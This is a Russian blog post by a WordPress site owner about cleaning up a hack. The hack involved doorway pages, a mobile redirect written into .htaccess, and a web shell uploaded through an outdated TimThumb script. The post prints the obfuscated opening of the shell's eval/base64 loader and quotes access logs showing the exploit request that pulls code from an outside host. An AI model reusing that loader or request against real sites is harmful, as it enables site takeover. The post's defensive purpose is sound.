Взломали сайт, залили дорвей и сделали редирект для мобильных устройств

Я всё-таки нашёл уязвимость на одном своём сайте, хоть и не сразу, и принял меры по защите. О чём сейчас и расскажу. Мои сайты на WordPress. Но для DLE и Joomla! эта проблема также имеет место быть. И способ решения аналогичен.

С бедой такого рода я столкнулся впервые. За несколько дней я прочитал много информации на блогах и форумах. Анализировал и маленькими шажками двигался к цели. Информация разрозненная, но по крупицам собрать можно, поисковики нам в помощь. Тем не менее ключевые моменты были найдены лишь в буржунете. Один зарубежный блоггер так красноречиво писал:

Российские хакеры, сука, поломали сайты. (с) перевод мой

Его короткая эмоциональная статья, однако, дала правильный ход моим мыслям.

Для начала хочу посоветовать всегда добавлять свои сайты в панель Вебмастер Яндекса. Потому что Яндекс предупреждает вебмастеров о многих нехороших вещах:

  • о недоступности сайта,
  • о заражении сайта вирусами,
  • о заливке на сайт дора.

Именно такое письмо я получил от Яндекса 2 месяца назад:

Подозрительные страницы (дорвеи) на сайте site.ru
Здравствуйте, Сергей!
Просим вас обратить внимание на безопасность сайта site.ru
Во время последнего посещения сайта наши роботы обнаружили на нем подозрительные страницы, похожие на дорвеи (страницы, единственной целью которых является перенаправление пользователя на другой ресурс). Вот некоторые из обнаруженных страниц:

site.ru/site/literatura/rabochie-plani-uchitelya-3klassa-korrektsionnoy-shkoli-8-vida.html
site.ru/site/shabloni/kontrolnie-raboti-po-biologii-8-klass-s-otvetami.html
site.ru/site/uchebniki/test-fizika-10-11-klass.html

Рекомендуем вам исправить код подобных подозрительных страниц или удалить их. После этого роботу потребуется некоторое время, чтобы переиндексировать их и обнаружить изменения. Вы можете помочь роботу поскорее найти исправления:
Если вы удалили подозрительные страницы, запретите в robots.txt индексирование этих страниц или разделов.
Если вы внесли изменения в код страниц, но не удаляли их, воспользуйтесь общими рекомендациями по улучшению индексирования сайта.

И отдельно получил такие же письма по другим сайтам, расположенным на этом хостинге.

Захожу на сайты и вижу эти мусорные страницы, ведущие на файлообменники для скачивания учебников и рефератов. Вдобавок на этих страницах установлена сомнительная реклама. Иду на сервер через файловый менеджер и нахожу в корне сайтов папку site (совпадающую с именем моего сайта). По дате создания вижу, что эти дорвеи сидят у меня уже 10 дней. Содержит каждый дорвей 20 тысяч страниц. Безжалостно сношу эту папку, запрещаю её индексацию в robots.txt, меняю пароли и успокаиваюсь. Однако злоумышленник расставил на свой дорвей ссылки в бирже Sape. Страницы дорвея получили какие-то позиции и несколько дней на сайт шёл мусорный трафик (примерно 50-100) на уже несуществующие страницы. Когда трафик прекратился и поисковики выкинули дорвеи из индекса, я вернул robots.txt в первоначальное состояние.

А буквально на прошлой неделе приходит от Яндекса очередное письмо:

На сайте site.ru обнаружен потенциально опасный код
Здравствуйте, Сергей!
На страницах сайта обнаружен код, который может быть опасен для посетителей. Выполнение этого кода может привести к заражению компьютера опасными программами, использованию его без ведома пользователя, порче или краже данных.
В настоящий момент сайт выводится в результатах поиска с пометкой «Этот сайт может угрожать безопасности вашего компьютера».
Яндекс никак не оценивает содержание сайта и предупреждает пользователей о том, что сайт мог быть заражен без ведома его владельцев.
Пожалуйста, удалите вредоносный код. Если при новой проверке код не будет обнаружен, пометка в результатах поиска будет снята. Для того чтобы снять пометку как можно быстрее, сразу после удаления кода вы можете запросить перепроверку сайта.

В разделе «Безопасность» Вебмастера Яндекса нахожу название вируса и рекомендации по его удалению – проверить код в файле .htaccess в корневой папке сайта. Именно туда 10 дней назад (судя по дате изменения файла) были добавлены 3 строчки вредоносного кода. В стандартных браузерах сайт работал нормально, а если на сайт заходили с мобильных устройств, то осуществлялся редирект на платники по скачиванию всякой платной фигни. Удаляю вредоносный код, в разделе «Безопасность» жму на кнопку «Перепроверка». Через несколько часов Яндекс присылает письмо, что с сайтом всё нормально и убирает в поиске пометку «Этот сайт может угрожать безопасности вашего компьютера». На остальных сайтах, расположенных на этом хостинге, аналогично правлю .htaccess, там тоже злоумышленник внёс изменения, просто Яндекс их ещё не обнаружил. Сразу на всякий случай меняю все пароли и восстанавливаю сайты из бекапа, сохранённого до появления вируса.

Когда в поисковой выдаче в сниппете выводится предупреждение «Этот сайт может угрожать безопасности вашего компьютера», поисковый трафик с Яндекса уменьшается в 4 раза. Это на полезном и уникальном сайте. Есть предположение, что если в поиске рядом много похожих статей, то трафик упадёт ещё сильнее.

На следующий день я вновь получаю письмо от Яндекса про потенциально опасный код, сразу смотрю в .htaccess – вредоносный код опять на месте. Я его удаляю, снова отправляю сайт на перепроверку и понимаю, что где-то дыра. И тут же, в подтверждение моей догадки, приходит очередное письмо от Яндекса. На сайте снова дорвей. Теперь он сидит в корневой папке wp-help. Для тех кто не знает, в CMS WordPress 3 корневые папки wp-admin, wp-content и wp-includes. Расчёт на то, что на лишнюю четвёртую папку wp-help не обращаешь внимание. А там уже 10 тысяч страниц. И с каждым днём по чуть-чуть, но уже целый месяц, количество страниц увеличивается. В этот раз злоумышленник не стал заливать дорвей целиком, даже по Сапе ещё не прогнал. Но Яндекс всё равно спалил на самом трастовом и посещаемом сайте. На остальных сайтах хостинга также были залиты аналогичные доры. Всё удаляю и приступаю искать корень зла.

Начинаю гуглить и применять различные рекомендации. Обо всём писать не буду, расскажу лишь про то, что помогло.

Однозначно, на одном из моих сайтов присутствует вредоносный файл, через который происходит создание и управление дорами. Нужно его найти. Беглый просмотр глазами результатов не приносит. Тогда я беру последние бекапы всех сайтов и проверяю их антивирусом Касперского прямо в запакованном состоянии. На один из архивов Касперский ругается. Я распаковываю архив на своём домашнем компьютере, и антивирус Касперского сразу удаляет 2 файла, даже не предлагая полечить или отправить в карантин.

Иду на сервер через файловый менеджер, удаляю эти 2 файла с расширением php из папки cache и начинаю наблюдать. Включаю на хостинге журнализацию и запись логов (до этого данная функция была отключена). Мне надо понять следующее: у меня увели пароль и одноразово залили эти файлы, или на сайте есть дыра. Хотя я больше чем уверен во втором варианте. В папку cache пишутся миниатюры для фотогалерей, эта папка открыта для записи. Если на неё установить права только на чтение, то сайт потеряет работоспособность. Именно благодаря фотогалерее с уникальными фото на данном сайте отличные поведенческие, что очень нравится Яндексу. Сайт продвигается вообще без ссылок. Так, что-то я отвлёкся.

И вот, через несколько часов в папке cache появляется вредоносный файл 543fb57525e10f79d8d78b961491d7b2.php.
Я записываю дату создания файла, сопирую содержание файла в текстовый редактор для изучения кода, удаляю этот файл и пишу хостеру с просьбой предоставить мне логи для IP-адреса, с которого был залит этот файл в указанное время.

В ожидании изучаю код этого файла. Он представляет конструкцию вида:

$auth_pass = "36885589adbc08993fdf1a4f92cac276";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'здесь много символов – аналог BASE64STRING'\x29\x29\x29\x3B",".");

C набором хаотичных символов на 2 экрана. Я сознательно привёл лишь начало, но весь скрипт можно найти на форумах, где народ, подхвативший эту бяку, просит о помощи.

Как выясняется, таким образом можно записать известную многим шифрующую конструкцию:

eval(gzinflate(base64_decode("text")));

которая расшифровывается с помощью онлайн-сервисов. Решение легко гуглится, поэтому не буду повторять у себя.

Вот и запрошенные логи от хостера пришли (я тут поменял название сайта на дефолтное):

site.ru 188.232.146.9 - - [12/Nov/2013:23:22:17 +0400] "GET /wp-content/themes/obj/cache/0efe6dcfff09ab39f13f91307f535229.php HTTP/1.0" 404 6770 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 OPR/17.0.1241.53"
site.ru 188.232.146.9 - - [12/Nov/2013:23:22:18 +0400] "GET /wp-content/themes/obj/thumb.php?src=wp-content/uploads/2013/11/image-hay-pops-3.jpg&w=55&h=55&zc=1&q=90 HTTP/1.0" 200 2417 "http://site.ru/wp-content/themes/obj/cache/0efe6dcfff09ab39f13f91307f535229.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 OPR/17.0.1241.53"
site.ru 188.232.146.9 - - [12/Nov/2013:23:22:23 +0400] "GET /wp-content/themes/obj/%D0%B5%D1%80%D0%B3%D1%8C%D0%B8.php HTTP/1.0" 404 6750 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 OPR/17.0.1241.53"
site.ru 188.232.146.9 - - [12/Nov/2013:23:22:29 +0400] "GET /wp-content/themes/obj/thumb.php HTTP/1.0" 400 38 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 OPR/17.0.1241.53"
site.ru 188.232.146.9 - - [12/Nov/2013:23:24:27 +0400] "GET /wp-content/themes/obj/thumb.php?src=http://bloggeracom.x64.me/whizzypic.php HTTP/1.0" 200 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 OPR/17.0.1241.53"
site.ru 188.232.146.9 - - [12/Nov/2013:23:26:03 +0400] "GET /wp-content/themes/obj/cache/543fb57525e10f79d8d78b961491d7b2.php HTTP/1.0" 200 26756 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36 OPR/17.0.1241.53"

Из чего следует, что уязвимость, позволяющая загружать шеллы в каталог cache находится в файле /wp-content/themes/obj/thumb.php

Напрашиваются следующие шаги: или менять (устанавливать новую) тему WordPress, или изучить и понять назначение файла thumb.php. Я пошёл по второму пути и начал изучать всё про этот файл и его уязвимости.

В данном файле находится известный скрипт Timthumb, который автоматизирует и ускоряет работу с изображениями. Этот скрипт используется во многих новых темах WordPress и других CMS, а также в некоторых плагинах для работы с изображениями. Скрипт автоматически меняет размер изображений, создаёт превью и минитюары согласно настроек в теме. Также Timthumb создаёт папку cache с правами 777 на вашем хостинге в том месте, где находится сам. И хранит в этой папке созданные превьюшки и миниатюры. Старые версии скрипта Timthumb имеют дыры и уязвимости, благодаря чему взламывают сайты. Но скрипт развивается, появляются новые версии, в которых закрываются лазейки для хакеров.

Вы уже догадались, я надеюсь, что нам нужно скачать в проверенном месте последнюю версию Timthumb и поместить её в файл темы thumb.php. В некоторых темах этот файл может называться timthumb.php. Лучше всего с этим справится плагин TimThumb Vulnerability Scanner. Установка плагина проста и аналогична установке многих плагинов. После активации в админке в разделе «Инструменты» появляется новый пункт меню, соответствующий названию плагина. Идём и посередине видим кнопку “Scan!”. Нажимаем её. Плагин сканирует файлы темы и плагинов, и выводит таблицу, в которой указаны имя файла, путь до скрипта, версия и статус. Если в поле Status зелёным цветом написано Up to Date, значит у нас установлена последняя версия, и с большей долей вероятности уязвимости отсутствуют. Если в поле Status красная надпись Vilnerable, значит нам нужно обновить скрипт Timthumb до последней версии. Включаем чекбокс в начале строки и жмём кнопку Upgrade Selected Files. Плагин перезапишет в файл thumb.php (или timthumb.php) новую версию. Данную уязвимость сайта можно считать закрытой. Теперь переходим на вкладку Опции и там включаем единственный чекбокс «Автоматически запускать эту проверку ежедневно». Нажимаем кнопку “Отправить”. Теперь при появлении новой версии скрипта Timthumb вы будете оповещены в админке сайта.

Здесь описан один конкретный случай. Но можно подвести итог и дать краткую инструкцию по удалению вирусов на сайте:

  1. Удалить вредоносный код редиректа, или дорвей, или прочую заразу. Можно откатиться из бекапа незараженной версии. Поменять все пароли (к хостингу, БД и админке сайта).
  2. Среди файлов CMS или темы может присутствовать исполняемый файл как правило с расширением php или js. Попытаться его найти с помощью антивируса или ориентируясь на дату создания. Или просматривать каждый файл и искать подозрительный код: eval, base64. Удалить этот файл (он может быть не один).
  3. Посмотреть по логам и выяснить, как этот файл к вам попал. Если логи не ведутся, включить их. Если есть уязвимость, вредоносный файл снова появится.
  4. Определить уязвимость и устранить её. Поэтому важно обновлять плагины и ставить новую версию WordPress. Обновления шаблонов тоже выходят, и наверняка там используются свежие скрипты. Но многие вебмастера переделывают шаблоны, поэтому изменения исключены, чтобы не пропала предыдущая работа.

Придерживайтесь этой краткой схемы поиска и удаления вирусов, думайте, читайте, ищите. Устраняйте уязвимости. Разрозненные советы есть. Собирайте их по кирпичику и применяйте. Обязательно получится. И не ленитесь делать бекапы. Их наличие придаёт уверенности, что если что-то пойдёт не так, всегда можно восстановить предыдущее состояние сайта.

Запись опубликована в рубрике Новости с метками . Добавьте в закладки постоянную ссылку.

Один комментарий: Взломали сайт, залили дорвей и сделали редирект для мобильных устройств

  1. Сергей говорит:

    Здравствуйте. Мне тоже пришло такое письмо и тоже примерные ссылки на левые страницы. Но когда я перехожу на них, то выдает ошибку404 страница не найдена. И заметил незначительный трафик по данным левым запросам. Но на сайте нет этих страниц. Как быть в этом случае?
    Спасибо.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *